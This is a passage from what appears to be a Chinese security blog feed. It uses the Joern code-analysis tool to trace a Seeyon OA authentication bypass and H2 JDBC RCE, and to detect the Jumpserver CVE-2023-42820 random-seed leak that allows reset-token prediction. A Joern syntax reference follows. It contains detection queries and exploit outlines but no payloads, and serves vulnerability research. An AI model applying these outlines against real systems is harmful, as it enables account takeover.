cpg.method("getConnection").callIn.filter(_.methodFullName.contains("java.lang.String,java.lang.String,java.lang.String"))</span><br><span class="line">def source = cpg.method("testDBConnect").where(_.annotation.name(".*Mapping")).parameter</span><br><span class="line"></span><br><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750337.png" alt="img"></p><p>存在连通性，<strong>表示包含注解的方法参数可以连通到sink点，存在问题。</strong></p><h2 id="H2-jdbc注入导致RCE-1"><a href="#H2-jdbc注入导致RCE-1" class="headerlink" title="H2 jdbc注入导致RCE"></a>H2 jdbc注入导致RCE</h2><p>相比其他几个问题，这个jdbc的利用其实<strong>就不算源代码分析层面的部分</strong>了。</p><p>无论是<strong>通过H2的链接来配置参数还是通过特殊语句二次利用</strong>，其实本质上都是<strong>H2数据库的feature</strong>，这里我们就跳过源代码分析的部分继续看后面的部分</p><h2 id="致远oa-S1服务-后台用户密码重置导致的鉴权绕过-1"><a href="#致远oa-S1服务-后台用户密码重置导致的鉴权绕过-1" class="headerlink" title="致远oa S1服务 后台用户密码重置导致的鉴权绕过"></a>致远oa S1服务 后台用户密码重置导致的鉴权绕过</h2><p>让我们把视角在转回S1上，其实问题很简单，<strong>由于后台主要检查token是否有效</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750184.png" alt="img"></p><p>所以我们可以尝试<strong>去寻找全局变量tokenMap初始化过的地方</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call(<span class="string">"&lt;operator&gt;.fieldAccess"</span>).filter(_.code.equals(<span class="string">"com.seeyon.agent.common.utils.TokenUtils.tokenMap"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750489.png" alt="img"></p><p>然后<strong>寻找对应调用的位置</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call("&lt;operator&gt;.fieldAccess").filter(_.code.equals("com.seeyon.agent.common.utils.TokenUtils.tokenMap")).map(n=&gt;n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750089.png" alt="img"></p><p>可以看到<strong>涉及到tokenMap的方法出了isChecktoken以外还有getToken</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211750945.png" alt="img"></p><p>然后我们继续<strong>寻找调用了getToken的地方</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call.filter(_.methodFullName.contains(<span class="string">"com.seeyon.agent.common.utils.TokenUtils.getToken"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751394.png" alt="img"></p><p>然后<strong>向上寻找对应的调用函数是什么</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.call.filter(_.methodFullName.contains("com.seeyon.agent.common.utils.TokenUtils.getToken")).map(n=&gt;n.astIn.head.astIn.head._astIn.head.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751242.png" alt="img"></p><p>在这里我们找到了<strong>调用gettoken的位置</strong>，也正好<strong>对应写入token的位置</strong>。</p><p>而在后续的利用条件收集中，也可以利用joern来快速挖掘和发现。</p><ul><li><strong>寻找获取用户名和密码的方法</strong></li></ul><p>这个很简单，就像我们平时做代码审计的时候，会<strong>通过一些关键字来搜索关键代码</strong>一样，在joern中，你可以做类似的事情。我们可以<strong>搜索变量名为username的变量被调用的位置</strong>。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier(<span class="string">"username"</span>)._astIn.dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751765.png" alt="img"></p><p>当然这显得非常粗暴，数据量非常大，但我们可以做更多的限制，比如<strong>调用该变量的方法必须包含put</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier("username").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put")).dedup.l).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751942.png" alt="img">我们可以<strong>直接向上找到对应的函数方法定义位置</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier("username").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.l).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751464.png" alt="img"></p><p>我们可以选择几个打开看看</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751792.png" alt="img"></p><p>当然我们发现<strong>不只是有名字为password的变量，还有名为password的常量</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cpg.literal("\"password\"").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=&gt;List(m.asInstanceOf[io.shiftleft.codepropert</span><br><span class="line">y raph.generated.nodes.Method].fullName)).l).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751799.png" alt="img"></p><p>可以顺着这里找到<strong>写入默认账户的位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751559.png" alt="img"></p><p>前面提到的<strong>默认账户修改密码的点</strong>也能搜索到，这里甚至可以直接用<strong>默认账号和密码</strong></p><p>除此之外<strong>寻找版本号的位置</strong>也可以用joern来完成，直接搜索<strong>调用了version变量的地方</strong></p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.identifier("version").map(n=&gt;n._callViaAstIn.filter(_.code.contains("put"))._astIn._astIn.map(m=&gt;List(m.asInstanceOf[io.shiftleft.codepropertygraph.generated.nodes.Method].fullName)).l).dedup.l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311211751928.png" alt="img"></p><p>直接找到了<strong>对应的getVersion方法</strong></p><p><strong>通过joern提供的从属关系图可以快速锁定我们要寻找的大致目标</strong>，其中的问题也相当实际，你<strong>很难在不熟悉代码的情况下利用joern做深入的扫描</strong>，这也是joern类工具的症结之一</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;strong&gt;致远OA是国内最有名的OA系统之一&lt;/strong&gt;，这个OA封闭商业售卖再加上纷繁复杂的版本号加持下，致远OA拥有大量无法准确判断的版本。&lt;/p&gt;
&lt;p&gt;这篇文章的漏洞源于下面这篇文章，文章中提到&lt;strong&gt;该漏洞影响A8, A8+, A6等多个版本&lt;/strong&gt;，但很多版本我都找不到对应的源码，光A8就有一万个版本，下面我们尽可能的复现漏洞和探索Joern的可能性&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://mp.weixin.qq.com/s/QWHHdYxUew_yhlnAQUvmRA&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    
    <category term="rce" scheme="https://lorexxar.cn/tags/rce/"/>
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="oa" scheme="https://lorexxar.cn/tags/oa/"/>
    
  </entry>
  
  <entry>
    <title>Joern In RealWorld (2) - Jumpserver随机数种子泄露导致账户劫持漏洞（CVE-2023-42820）</title>
    <link href="https://lorexxar.cn/2023/10/26/joerninrw2/"/>
    <id>https://lorexxar.cn/2023/10/26/joerninrw2/</id>
    <published>2023-10-26T07:18:19.000Z</published>
    <updated>2023-11-08T06:23:19.000Z</updated>
    
    <content type="html"><![CDATA[<p>Jumpserver是一个开源的django架构的堡垒机系统，由<strong>lawliet &amp; zhiniang peng(@edwardzpeng) with Sangfor</strong>在上个月报送了这个漏洞</p><ul><li><a href="https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp" target="_blank" rel="noopener">https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp</a></li></ul><p>漏洞原理其实比较神奇，一个常用的第三方组件库<a href="https://github.com/mbi/django-simple-captcha" target="_blank" rel="noopener">django-simple-captcha</a>有<strong>泄露随机数种子</strong>的问题，再配合Jumpserver<strong>使用了错误的随机数方案</strong>导致了最终的漏洞。</p><a id="more"></a><h1 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h1><p>这里我们的目标不是分析漏洞，所以这里<strong>简单快速的分析下漏洞的成因</strong>，具体的漏洞分析可以看下面两篇文章</p><ul><li><a href="https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html</a></li><li><a href="https://www.cnblogs.com/zpchcbd/p/17747778.html" target="_blank" rel="noopener">https://www.cnblogs.com/zpchcbd/p/17747778.html</a></li></ul><p>在分析代码级的漏洞成因之前，我想作为计算机相关的工作者，我们应该都有一个共识，就是<strong>计算机中没有真正意义的伪随机</strong>，无论是任何语言的随机数生成函数几乎都是从类似 <code>/dev/random</code>的地方取值，这里我们不讨论随机数底层的问题。</p><p>在代码的上层，我们几乎可以认为<strong>如果你不知道随机数的种子，那么你就无法对随机数做出预测</strong>。换言之，<strong>如果我们知道随机数的种子，我们就有一定的概率预测随机数</strong>。</p><p><strong>django-simple-captcha是Django的相关组件中非常流行的验证码生成库</strong>，就像phith0n所说，在国内你几乎没有别的选择，引入的方式超级简单，只要在配置里引入对应库</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">INSTALLED_APPS = [</span><br><span class="line">    ...</span><br><span class="line">    <span class="string">'captcha'</span>,</span><br></pre></td></tr></table></figure><p>然后加入对应的验证码路由</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">urlpatterns += [</span><br><span class="line">path(<span class="string">'core/auth/captcha/'</span>, include(<span class="string">'captcha.urls'</span>)),</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>最后只要在对应的form中加入验证码的字段就行了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CaptchaMixin</span><span class="params">(forms.Form)</span>:</span></span><br><span class="line">    captcha = CaptchaField(widget=CustomCaptchaTextInput, label=_(<span class="string">'Captcha'</span>))</span><br></pre></td></tr></table></figure><p>但事实上，看似简单的django-simple-captcha中实际包含着一个很大的问题。</p><h2 id="django-simple-captcha-随机数种子泄露"><a href="#django-simple-captcha-随机数种子泄露" class="headerlink" title="django-simple-captcha 随机数种子泄露"></a>django-simple-captcha 随机数种子泄露</h2><p>这个问题在0.5.19版本中被修复</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311081422475.png" alt="img"></p><p>这里其实涉及到了django-simple-captcha的一个feature，<strong>在设计上其实是允许通过key来指定随机数种子的</strong>，这个feature是为了<strong>让同一个key可以对应同一个验证码</strong>，用来实现验证码的对应。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538965.png" alt="img"></p><p>而这里的key是一个已知的值，就是用于生成验证码的参数</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202311081422164.png" alt="img"></p><p>换言之，我们可以<strong>得知当前Random的随机数种子</strong>，甚至可以控制这个种子。</p><p>修复的方案也很简单粗暴，只要在<strong>生成结束之后用随机一个新种子</strong>就可以了</p><ul><li><a href="https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f" target="_blank" rel="noopener">https://github.com/mbi/django-simple-captcha/commit/dcf1ccda3b12df179eaa5c0ebec95a897e96245f</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538104.png" alt="img"></p><p>那么这对jumpserver又有什么影响呢？</p><h2 id="JumpServer-密码重置漏洞"><a href="#JumpServer-密码重置漏洞" class="headerlink" title="JumpServer 密码重置漏洞"></a>JumpServer 密码重置漏洞</h2><p>相比django-simple-captcha来说，<strong>JumpServer更像是一个受害者，虽然存在一些安全隐患但本身并不致命。</strong>我们可以猜想一下随机数在一般的系统里常用的场景。</p><ul><li>重置密码</li><li>激活码、兑换码</li></ul><p>相比激活码的场景来说，<strong>重置密码的常见程度更高</strong>，如果系统内没有刻意对管理员账号做限制，那么如果可以预测重置密码的验证结果，那么就可以获得一个超级管理员权限，而JumpServer的代码中是这样做的。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538834.png" alt="img"></p><p>/apps/authentication/api/password.py</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538890.png" alt="img"></p><p><strong>重置密码用的code使用了random_string来生成</strong>，然后看看random_string的定义</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261538079.png" alt="img"></p><p>这个函数在jumpserver中重做过好几次，但大同小异，其实就是<strong>用random.choice从列表中选取随机字符</strong>，最终生成最后的验证码。</p><p>这里我们不去细纠这个利用方式中的细节点，这不是本篇文章的讨论重点，简单来说就是</p><ul><li><strong>通过**</strong>django-simple-captcha泄露当前random的种子**</li><li><strong>通过种子推测有限次的random结果</strong>（其中不仅仅包括密码重置token，还有验证码噪点等）</li></ul><p>这样我们就通过对随机数的预测实现进一步的漏洞利用，而修复的方案也很简单</p><p>在最初版本的修复方案中，<strong>Jumpserver在获取密码重置token时重置了当前随机数种子</strong>。这个修复方案也没什么问题。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539892.png" alt="img"></p><p>在后来的改动中，可能是因为看了P牛的文章，<strong>Jumpserver把random换成了secrets</strong>，相对来说比前一个方案更稳定一些，也是相关文档中推荐的方案</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539248.png" alt="img"></p><h1 id="For-Joern"><a href="#For-Joern" class="headerlink" title="For Joern"></a>For Joern</h1><p>从源代码的角度来讲，这个漏洞成因可以分成两部分</p><ul><li><strong>存在泄露随机数种子，或者可以控制随机数种子的位置</strong></li><li><strong>在未显式重置随机数种子的基础上，引用了random来生成随机数</strong></li></ul><h2 id="随机数种子泄露"><a href="#随机数种子泄露" class="headerlink" title="随机数种子泄露"></a>随机数种子泄露</h2><p>其实这个漏洞用Joern来处理挺吃力的，首先是<strong>Joern只会处理目标目录下的源码</strong>，而在正常的环境下，python引入的包其实<strong>都在python的目录下</strong>，也就是说理论上<strong>我们无法在分析项目的时候，顺便分析django-simple-captcha。</strong></p><p>这里我们强行引入下分析django-simple-captcha包</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&gt; .\joern</span><br><span class="line"></span><br><span class="line">     ██╗ ██████╗ ███████╗██████╗ ███╗   ██╗</span><br><span class="line">     ██║██╔═══██╗██╔════╝██╔══██╗████╗  ██║</span><br><span class="line">     ██║██║   ██║█████╗  ██████╔╝██╔██╗ ██║</span><br><span class="line">██   ██║██║   ██║██╔══╝  ██╔══██╗██║╚██╗██║</span><br><span class="line">╚█████╔╝╚██████╔╝███████╗██║  ██║██║ ╚████║</span><br><span class="line"> ╚════╝  ╚═════╝ ╚══════╝╚═╝  ╚═╝╚═╝  ╚═══╝</span><br><span class="line">Version: <span class="number">2.0</span><span class="number">.52</span></span><br><span class="line">Type `help` to begin</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">joern&gt; importCode(<span class="string">"../captcha/"</span>)</span><br></pre></td></tr></table></figure><p>先<strong>找到random.seed调用的位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539993.png" alt="img"></p><p>先检查<strong>调用位置到函数定义位置是否有数据联通</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">def source = cpg.method("seed").caller.parameter</span><br><span class="line">def sink = cpg.method("seed").callIn</span><br><span class="line"></span><br><span class="line">sink.reachableByFlows(source).p</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539466.png" alt="img"></p><p>得到的答案是肯定的，<strong>seed的参数key可控</strong>，接着找对应的路由，<strong>在django里路由一般是用path，而这个组件使用re_path</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> django.urls <span class="keyword">import</span> path</span><br><span class="line"><span class="keyword">from</span> django.urls <span class="keyword">import</span> re_path</span><br></pre></td></tr></table></figure><p>我们可以直接快捷的<strong>查看相应的路由函数调用位置</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539226.png" alt="img"></p><p>然后通过<strong>对应的调用函数来获取指定的路由</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"re_path"</span>).callIn.filter(_._callViaAstOut.code.contains(<span class="string">"views.captcha_image"</span>)).l</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539129.png" alt="img"></p><p>当然可能也不用这么麻烦，理论上来说<strong>直接设置source也是可以连起来的</strong>，只不过<strong>re_path读取key的方式是正则匹配</strong>，所以原装的<strong>reachableByFlows无法处理这种情况</strong>，我们只能强行做一些限制</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"re_path"</span>).callIn.filter(_._callViaAstOut.code.contains(<span class="string">"views.captcha_image"</span>)).filterNot(_.argument.code.contains(<span class="string">"&lt;key&gt;"</span>)).l</span><br></pre></td></tr></table></figure><p>由于这条命令可以获取结果，所以代表着<strong>存在可以设置随机数种子的路由和对应的参数</strong>。</p><p>当然，由于漏洞的特殊性不仅仅在于可控，还需要<strong>后续没有进一步重置随机数种子</strong>，所以我们还需要更多的条件来确认这一点。</p><p>其实要做到这点也并不复杂，只需要确认，<strong>在设置seed种子的方法中，没有调用过无参的seed方法即可。</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cpg.method(<span class="string">"seed"</span>).caller.filter(_._callViaContainsOut.filter(_.name.contains(<span class="string">"seed"</span>)).filter(_.argument.size&lt;<span class="number">2</span>).size==<span class="number">0</span>).l</span><br></pre></td></tr></table></figure><p>上面这条命令的意思是</p><ul><li><strong>寻找seed方法的调用方法</strong></li><li><strong>寻找该方法中调用的方法中，名字为seed，并参数为0</strong>(joern中，参数index为0的位置表示为this，也就是当前方法所属的类)</li><li><strong>展示调用方法中，满足条件的调用数量为0的方法</strong></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539623.png" alt="img"></p><p>如果返回结果，则证明<strong>该方法中没有重置新的随机数种子</strong>，当然，到这里并不能完全的验证这个结论，毕竟这里指处理了显式重置，<strong>如果是更严格的数据流分析，应该从重置随机数种子的位置入手</strong>，确认是否有数据流经过，但<strong>这种方案对于joern来说比较困难，这里先不深入到这个级别研究</strong>。</p><h2 id="JumpServer密码重置漏洞"><a href="#JumpServer密码重置漏洞" class="headerlink" title="JumpServer密码重置漏洞"></a>JumpServer密码重置漏洞</h2><p>这里分析JumpServer的时候遇到的<strong>最大的问题是JumpServer的代码量有点儿大</strong>，导入到Joern里有83万个节点:&lt;</p><p>其实相比Django-simple-captcha的问题来说，<strong>JumpServer的问题在源代码的角度上来说更不像一个问题</strong>，只能算是<strong>一个使用错误的范例，有潜在的风险</strong>。我们需要用joern完成的工作包括两部分</p><ul><li><strong>在获取随机数之前，没有重置过随机数种子</strong></li><li><strong>在获取随机数之前，共执行了多少次随机操作</strong></li></ul><p>先找到对应<strong>调用random.choice方法的方法</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539274.png" alt="img"></p><p>而<strong>调用过seed方法重置随机数种子的位置</strong>只有一个，看了一下没有相关的引用关系，看上去像是一段测试代码</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539669.png" alt="img"></p><p>由于场景特殊，这里我们用不到那么深入的数据流分析，只需要在<strong>对应重置密码的路由中确认是否调用random.choice方法</strong>就行了</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539469.png" alt="img"></p><p>这里直接用repeat untils来实现就可以</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539253.png" alt="img"></p><p><strong>repeat…untils…还是那个老问题，容易递归爆炸，路径重复问题严重</strong>，我觉得这是joern实现里一个非常普遍的问题，但<strong>至少可以确定两个调用位置的连通性</strong>。</p><p>接下来我们的问题变成了，我们<strong>如何知道在这条数据流中random调用了多少次</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202310261539623.png" alt="img"></p><p>我尝试了几次之后发现，<strong>如果想要在语句上控制限制范围，以确认random的调用次数，会遇到比较多的问题</strong>，<strong>正向分析的深入深度</strong>问题，以及<strong>循环分支的次数数据</strong>问题，问题比想象中的大，我暂且认为这不是joern的适用场景。</p><p>而相应的修复就更简单了，<strong>直接换用secrets替代random会直接影响到前面的方法发现</strong>，我们就无法获得对应的数据流了。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Jumpserver是一个开源的django架构的堡垒机系统，由&lt;strong&gt;lawliet &amp;amp; zhiniang peng(@edwardzpeng) with Sangfor&lt;/strong&gt;在上个月报送了这个漏洞&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/jumpserver/jumpserver/security/advisories/GHSA-7prv-g565-82qp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;漏洞原理其实比较神奇，一个常用的第三方组件库&lt;a href=&quot;https://github.com/mbi/django-simple-captcha&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;django-simple-captcha&lt;/a&gt;有&lt;strong&gt;泄露随机数种子&lt;/strong&gt;的问题，再配合Jumpserver&lt;strong&gt;使用了错误的随机数方案&lt;/strong&gt;导致了最终的漏洞。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
  </entry>
  
  <entry>
    <title>深入浅出Joern（四）不常用语法大全</title>
    <link href="https://lorexxar.cn/2023/10/20/joern4/"/>
    <id>https://lorexxar.cn/2023/10/20/joern4/</id>
    <published>2023-10-20T07:05:47.000Z</published>
    <updated>2023-10-25T09:16:49.000Z</updated>
    
    <content type="html"><![CDATA[<p>在深入了解Joern的源码以及设计的时候发现Joern其实实现了很多不常用语法，很多文档中没提到的东西，其实都有比较简洁实用的方式，但也从源码的设计中发现，其实Joern的设计理念也有很多问题，这个我们以后再写到。</p><p>本篇内容可以结合<a href="https://cpg.joern.io/食用" target="_blank" rel="noopener">https://cpg.joern.io/食用</a></p><a id="more"></a><h1 id="基础常见节点结构"><a href="#基础常见节点结构" class="headerlink" title="基础常见节点结构"></a>基础常见节点结构</h1><h2 id="Annotation-注解"><a href="#Annotation-注解" class="headerlink" title="Annotation 注解"></a>Annotation 注解</h2><p>Annotation是Java中的注解节点</p><ul><li>astOut：通过ast边指向的节点列表</li><li>astIn：通过ast边指向Annotation的节点列表</li><li>argumentOut：Annotation的参数节点列表</li><li>_annotationParameterAssignViaAstOut：Annotation的参数(ANNOTATION_PARAMETER_ASSIGN)节点列表</li><li>__memberViaAstIn：通过ast边指向的member节点列表</li><li>__methodViaAstIn：通过ast边指向的method节点列表</li><li>__methodParameterInViaAstIn：通过ast边指向的method参数节点列表</li><li>_typeDeclViaAstIn：Annotation对应的类定义节点列表</li></ul><h2 id="argument-参数"><a href="#argument-参数" class="headerlink" title="argument 参数"></a>argument 参数</h2><ul><li>_expressionViaArgumentOut：通过ARGUMENT边指向的argument节点列表</li><li>_astNodeViaArgumentOut：通过ARGUMENT边指向的ast节点列表</li><li>astIn：通过AST边指向Argument的节点列表</li></ul><h2 id="if-else-for-do-continue-break-throw-switch-try-while条件分支"><a href="#if-else-for-do-continue-break-throw-switch-try-while条件分支" class="headerlink" title="if/else/for/do/continue/break/throw/switch/try/while条件分支"></a>if/else/for/do/continue/break/throw/switch/try/while条件分支</h2><p>包含已知的所有分支跳转循环节点，包括if/else/for/do/continue/break/throw/switch/try/while等…</p><ul><li>argumentOut：条件节点指向的argument节点列表</li><li>astOut：通过ast边指向的节点列表</li><li>_blockViaAstOut：通过ast边指向的block节点列表</li><li>_callViaAstOut：通过ast边指向的call节点列表</li><li>_controlStructureViaAstOut：通过ast边指向的条件分支节点列表</li><li>_identifierViaAstOut：通过ast边指向的变量列表</li><li>_returnViaAstOut：通过ast边指向的return节点列表</li><li>cdgOut：通过cdg边指向的节点列表</li><li>_blockViaCdgOut：通过cdg边指向的block节点列表</li><li>_callViaCdgOut：通过cdg边指向的call节点列表</li><li>_controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表</li><li>_returnViaCdgOut：通过cdg边指向的return节点列表</li><li>cfgOut：通过cfg边指向的节点列表</li><li>conditionOut：条件分支(if, else if)对应的条件节点列表</li><li>_blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表</li><li>_callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表</li><li>_controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_callViaAstIn：通过ast边指向当前节点的call节点列表</li><li>containsIn：包含当前节点的Method节点列表</li></ul><h2 id="call-调用"><a href="#call-调用" class="headerlink" title="call 调用"></a>call 调用</h2><ul><li>argumentOut：指向调用节点的参数节点列表</li><li>_blockViaArgumentOut：指向调用节点的block类型参数节点列表</li><li>_callViaArgumentOut：指向调用节点的call类型参数节点列表</li><li>_controlStructureViaArgumentOut：指向调用节点的条件分支类型参数节点列表</li><li>astOut：通过ast边指向的节点列表</li><li>_blockViaAstOut：通过ast边指向的block节点列表</li><li>_callViaAstOut：通过ast边指向的call节点列表</li><li>_controlStructureViaAstOut：通过ast边指向的条件分支节点列表</li><li>_identifierViaAstOut：通过ast边指向的变量列表</li><li>_returnViaAstOut：通过ast边指向的return节点列表</li><li>_methodViaCallOut：call调用的对应method节点</li><li>cdgOut：通过cdg边指向的节点列表</li><li>_blockViaCdgOut：通过cdg边指向的block节点列表</li><li>_callViaCdgOut：通过cdg边指向的call节点列表</li><li>_controlStructureViaCdgOut：通过cdg边指向的条件分支节点列表</li><li>_returnViaCdgOut：通过cdg边指向的return节点列表</li><li>cfgOut：通过cfg边指向的节点列表</li><li>conditionOut：条件分支(if, else if)对应的条件节点列表</li><li>_blockViaConditionOut：条件分支(if, else if)对应的block类型条件节点列表</li><li>_callViaConditionOut：条件分支(if, else if)对应的call类型条件节点列表</li><li>_controlStructureViaConditionOut: 条件分支(if, else if)对应的同样为条件分支(else if)的条件节点列表</li><li>astIn: 通过ast边指向当前节点的节点列表</li><li>_blockViaAstIn：通过ast边指向当前节点的block节点列表</li><li>_callViaAstIn：通过ast边指向当前节点的call节点列表</li><li>containsIn：包含当前节点的Method节点列表</li></ul><h2 id="Comment-注释"><a href="#Comment-注释" class="headerlink" title="Comment 注释"></a>Comment 注释</h2><ul><li>file：注释所在的file节点</li><li>astIn：通过ast边指向当前节点的节点列表</li><li>_fileViaAstIn：指向当前注释节点的文件节点</li><li>sourceFileIn：通过SOURCE_FILE指向当前节点的节点列表</li></ul><h2 id="File-文件"><a href="#File-文件" class="headerlink" title="File 文件"></a>File 